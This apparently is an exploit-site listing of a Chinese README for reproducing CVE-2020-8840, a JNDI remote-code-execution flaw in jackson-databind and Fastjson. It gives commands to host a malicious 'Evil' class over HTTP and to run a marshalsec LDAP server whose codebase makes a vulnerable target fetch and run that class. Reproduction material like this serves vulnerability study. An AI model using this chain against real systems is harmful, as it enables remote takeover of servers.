Sploitus

Exploit for Deserialization of Untrusted Data in Fasterxml Jackson-Databind

gitee · 2021-11-08

Exploit Code

MARKDOWN67 lines
## https://sploitus.com/exploit?id=81EEAE7E-2BFA-5E32-8D29-39FA9CB1F18E
# CVE-2020-8840
Jackson-databind远程代码执行漏洞(CVE-2020-8840)分析复现环境代码。

项目包含:

* `jackson-databind`、`Fastjson`中payload
* WebServer恶意类
* 编译好的`marshalsec-0.0.3-SNAPSHOT-all.jar`

## 漏洞简介
Jackson-databind远程代码执行漏洞(CVE-2020-8840),攻击者可利用xbean-reflect的利用链(org.apache.xbean.propertyeditor.JndiConverter)触发JNDI远程类加载从而达到远程代码执行。

该漏洞同时影响部分版本的jackson-databind和Fastjson。


## jackson-databind
影响范围:2.0.0 <= FasterXML jackson-databind <= 2.9.10.2

![](img/1.png)

### 简易环境搭建

示例代码中指向的LDAP服务需要自行搭建。

**WebServer**

开启HTTP服务,存放恶意类(项目中有贴`Evil.java`类)

```
python -m http.server 2222
```

![](img/3.png)

**LDAP服务**

下载 [Marshalsec](https://github.com/mbechler/marshalsec) 工具,编译为jar,开启LDAP服务,设置codebase地址(存放恶意类的WebServer)。

为了方便,省去下载编译的操作,项目中也贴`marshalsec-0.0.3-SNAPSHOT-all.jar`了(项目代码不多,体积庞大的主要原因),JDK8编译。

```
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:2222/#Evil
```

![](img/4.png)




## Fastjson
影响范围:Fastjson <= 1.2.62

复现环境与上文一致,自行搭建启动WebServer、LDAP服务。


![](img/1.png)



# 参考

* https://github.com/FasterXML/jackson-databind
* https://github.com/FasterXML/jackson-databind/issues/2620
* https://github.com/FasterXML/jackson-databind/commit/914e7c9f2cb8ce66724bf26a72adc7e958992497
* https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062
* https://github.com/alibaba/fastjson